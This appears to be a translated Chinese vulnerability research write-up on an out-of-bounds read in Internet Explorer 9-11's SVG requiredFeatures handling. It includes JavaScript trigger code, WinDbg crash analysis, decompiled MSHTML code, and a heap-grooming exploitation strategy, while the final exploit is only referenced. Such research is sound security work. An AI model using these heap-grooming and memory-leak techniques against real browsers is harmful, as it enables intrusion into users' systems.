0×01 介绍
这是一个存在于Internet Explorer 9-11中的越界读取bug。这个漏洞存在将近5年之久,直到2015年4月才被发现。这是一个比较有意思的洞洞,至少我是这么觉得的,因为这个漏洞被Zero Day Initiative(ZDI)拒绝了将近4-5次,并一再说明这个bug是不能被利用的。
使用SVG fuzzer进行测试,能够一直捕捉到这个bug的crash。首先这个bug看起来像是一般的UAF,因为它一直尝试读取无效的内存。但是仔细分类之后,发现这是一个越界读取的bug。我把这个bug递交给ZDI后他们拒绝了,理由是这个bug不会再重现。即使后面我证明它是可被利用的,他们仍坚信回复这个bug是不可被利用的。由于我忙着其他的项目,只是跟他们做了些商议的工作。在3-4个月之后,当我有时间回头再仔细看看这bug后,我确定这是一个可被利用的漏洞。
0×02 crash
漏洞触发相对比较简单。
function trigger() { var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline'); polyLine.setAttributeNS(null, 'requiredFeatures', '/n'); }
注意:需要开启page heap和Application Verifier,这样才能让crash再现。
(778.18c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000c0c0 ebx=00000005 ecx=00000000 edx=00000006 esi=0737f000 edi=0000002c eip=64c305d4 esp=060faf08 ebp=060faf24 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSHTML!CDOMStringDataList::InitFromString+0x4b: 64c305d4 0fb706 movzx eax,word ptr [esi] ds:0023:0737f000=????
就像所看到的一样,在引用一个无效的内存时产生了读访问内存冲突。
0×03 crash 分析
现在看一下ESI指向内容是什么。
0:007> dc @esi 0737f000 ???????? ???????? ???????? ???????? ???????????????? 0737f010 ???????? ???????? ???????? ???????? ???????????????? 0737f020 ???????? ???????? ???????? ???????? ???????????????? 0737f030 ???????? ???????? ???????? ???????? ???????????????? 0737f040 ???????? ???????? ???????? ???????? ???????????????? 0737f050 ???????? ???????? ???????? ???????? ???????????????? 0737f060 ???????? ???????? ???????? ???????? ???????????????? 0737f070 ???????? ???????? ???????? ???????? ????????????????
Nice,ESI似乎保存的是其他已经释放了的内存或者还未分配的内存。通过执行!heap –p –a <address>指令看看到底是什么。
0:007> !heap -p -a @esi address 0737f000 found in _DPH_HEAP_ROOT @ 161000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 73c1f70: 737eff0 10 - 737e000 2000 6f4a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77895ede ntdll!RtlDebugAllocateHeap+0x00000030 7785a40a ntdll!RtlpAllocateHeap+0x000000c4 77825ae0 ntdll!RtlAllocateHeap+0x0000023a 76afea43 ole32!CRetailMalloc_Alloc+0x00000016 76f44557 OLEAUT32!APP_DATA::AllocCachedMem+0x00000060 76f4476a OLEAUT32!SysAllocStringByteLen+0x0000003d 76f447bf OLEAUT32!ErrStringCopyNoNull+0x00000016 76f45dda OLEAUT32!VariantChangeTypeEx+0x00000a19 63e871b6 MSHTML!VariantChangeTypeSpecial+0x00000093 63f8581c MSHTML!CElement::SetAttributeFromPropDesc+0x00000069 63f857c3 MSHTML!CElement::ie9_setAttributeNSInternal+0x000003b0 64334301 MSHTML!CElement::setAttributeNS_Helper+0x00000069 6474d0fb MSHTML!CElement::Var_setAttributeNS+0x0000014a 64a65d9c MSHTML!CFastDOM::CElement::Trampoline_setAttributeNS+0x0000003c 63580fb6 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000018e 6357ed52 jscript9!Js::InterpreterStackFrame::Process+0x00001e72 6357f499 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
Sad,并不是UAF漏洞。将UserAddr Dump下来,看看保存的是什么。
0:007> dc 737eff0 0737eff0 00000002 0000000a c0c0c0c0 c0c0c0c0 ................ 0737f000 ???????? ???????? ???????? ???????? ???????????????? 0737f010 ???????? ???????? ???????? ???????? ???????????????? 0737f020 ???????? ???????? ???????? ???????? ???????????????? 0737f030 ???????? ???????? ???????? ???????? ???????????????? 0737f040 ???????? ???????? ???????? ???????? ???????????????? 0737f050 ???????? ???????? ???????? ???????? ???????????????? 0737f060 ???????? ???????? ???????? ???????? ????????????????
不知道你能否注意到,0x737eff0处保存着一个很有意思的值,例如0x0000000a,这个值其实就是转义字符”/n”的16进制值。同时要注意到这段内存是由OLEAUT32分配在OLEAUT32的缓存堆中。
因此接下来要做的就是借助IDA pro查看函数MSHTML!CDOMStringDataList::Init FromString,问题就出在这个函数内部,搞清楚这里发生了什么。
花了一些时间来逆向这个特殊的函数,如下。
HRESULT __thiscall CDOMStringDataList::InitFromString(CDOMStringDataList *this, LPCWSTR lpCWStr) { SIZE_T strLen; // Used in different places differently HRESULT hResult; PWCHAR pCurChar; CStr *pCStr; PWCHAR pCurString; CDOMStringDataList *pCDOMStringDataList; int outString; strLen = 0; pCDOMStringDataList = this; hResult = S_OK; CDOMStringDataList::Clear(this); pCurChar = (PWCHAR)lpCWStr; while ( *pCurChar != (_WORD)strLen ) { // Trim white spaces while ( IsCharSpaceW(*pCurChar) ) ++pCurChar; // Bail out if string starts with comma if ( *pCurChar == ',' ) return E_FAIL; pCurString = pCurChar; do { ++pCurChar; ++strLen; } while ( !IsCharSpaceW(*pCurChar) && *pCurChar != ',' && *pCurChar ); outString = NULL; hResult = CImplAry::AppendIndirect<4>(pCDOMStringDataList, &outString, &pCStr); if ( hResult < 0 || (hResult = CStr::Set(pCStr, (LPVOID)strLen, pCurString, strLen, 1), hResult < 0) ) { CStr::_Free((CStr *)&outString); return hResult; } while ( IsCharSpaceW(*pCurChar) ) ++pCurChar; if ( *pCurChar == ',' ) ++pCurChar; CStr::_Free((CStr *)&outString); strLen = 0; } return hResult; }
注意:不要跟过分相信IDA pro的反汇编代码,通过读汇编代码来确认是否正确。
如果仔细看这个函数,可以看到其中的Bug。这个bug是不正确的处理换行符(”/n”)和空格符(” ”)。由于这个bug,可以跳过判断从而越过NULL终止符读取。
由于这些特定的字符串保存在堆中,我们需要在一些相邻的堆块中精巧的构造这样才能利用。然而,现在需要知道字符串是保存在进程堆中还是隔离堆中。
0:007> ? poi(MSHTML!g_hProcessHeap) Evaluate expression: 1441792 = 00160000 0:007> ? poi(MSHTML!g_hIsolatedHeap) Evaluate expression: 104857600 = 06400000
从!heap –p –a <address>的输出中可以看到_DPH_HEAP_ROOT的值为0×161000。因此requiredFeatures特征值保存在进程堆中而不是隔离堆中。
0×04 重点回顾
· 通过设置requiredFeatures的特征值可以触发越界读取漏洞。
· requiredFeatures的特征值保存在进程堆中。
· requiredFeatures的特征值缓存了。
· requiredFeatures的特征值可以很灵活设置。
function trigger() { var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline'); polyLine.setAttributeNS(null, 'requiredFeatures', '/n/n/n/n/n/n/n/n/n'); }
在启动POC之前,在函数MSHTML!CDOMStringDataList::InitFromString上下断点。当断点成功断下时,我们再查看ESI寄存器。
注意:此时可以禁用Page Heaps和Application Verifier,现在不再需要它了。
0:007> dc @esi L7 00569634 000a000a 000a000a 000a000a 000a000a ................ 00569644 0000000a f4b352f6 00000000 .....R......
可以看到从堆块中dump出的requiredFeatures特征值数目和在POC中设置的/n的数目是一样的。但是注意到0xf4b352f6,这个值来自哪里?
这个值是用来适当补齐长度的。
接下来我们需要找到一种可以将requiredFeatures特征值读取出来的办法。在Mozilla开发者网络页面上可以看到有一个SVGStringList接口,我知道可以通过getItem(in unsigned long index)读取这些特征值。
Cool,重新修改我们的POC然后读取requiredFeatures特征值。
function trigger() { var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline'); polyLine.setAttributeNS(null, 'requiredFeatures', "Ashfaq/nAnsari"); var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "/n"; for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) { message += "Index: " + i + "/nValue: " + polyLine.requiredFeatures.getItem(i) + "/n"; } alert(message); }
太好了,证明了可以通过getItem(in unsigned long index)读取requiredFeatures的特征值。
0×05 漏洞利用策略
· 整理所需大小的进程堆使用对象。
· 在分配的内存中Make holes。
· 将requiredFeatures的特征值重新分配在上述holes中。
· 触发漏洞,读取越界的内存。
· 当漏洞触发,浏览器不能crash时,反复触发直到它crash。
0×06 漏洞利用挑战
· 找到一个固定大小的值,使得这个大小的长度不会被追加其他值。
· 在进程堆中找到这样一个固定大小的对象。
· requiredFeatures的特征值被缓存了。
· 默认开启内存保护。
· 在相邻堆块_HEAP_ENTRY结构中的NULL终止符将会终止漏洞的利用。
0×07 漏洞利用
现在我们知道了这个漏洞利用的策略和挑战。首先,我们得尝试找到一个固定大小的值,保证其不会被追加其他的值。
在尝试了不同长度的requiredFeatures特征值后,最终找到了这个固定大小的值为0x0A0,这个长度值保证了requiredFeatures特征值不会被其他值补充。
注意:要将requiredFeatures的特征值保存为类似BSTR.aspx形式。
现在,需要从进程堆中找到一个大小为0x0A0的对象。在花费了一些时间后,在IDA Pro中找到了一个CDOMMSGestureEvent元素大小刚好为0x0A0并且保存在进程堆中。
注意:IE9是不支持MSGestureEvent的,因此需要使用不同的元素。
另外一个挑战则是在漏洞利用过程中,requiredFeatures特征值被缓存在OLEAUT32 Cached Heap中。我尝试了Alexander Sotirov’s的 Plunger technique方法,但是不成功。但是在多次实验之后,我发现使用一个简单的办法可以bypass ASLR。
for (i = 0; i < 0x50; i++) { polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline'); // Trick to bypass allocation on OLEAUT32 Cached Heap polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString("A", 0x0A0)); polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString("/n", 0x0A0)); }
现在要处理漏洞利用过程中的内存保护问题。在我们的参考文献部分可以找到很多不错的关于内存保护的文章。
简单来说,内存保护的对象不会直接释放。这些对象会在一个等待队列中,直到它们达到一定的值例如(100,000字节)才会被释放,并且在堆栈上没有引用释放后的内存。
最后一个难题就是,我们如何通过这个越界读取的bug去读取堆块_HEAP_ENTRY结构体中的NULL字节。我依然不明白为何一些堆块中存在NULL字节一些堆块中则不存在,即使这些堆块一样大。
0×08 最终利用
在null – The Open Security Community我还准备了一系列的从crash到exploit的讨论,在我讨论的一个非常相似的bug前,就已经完成了第一部分工作。
这个漏洞的其他资料,可以从下面参考文献中的Github上找到。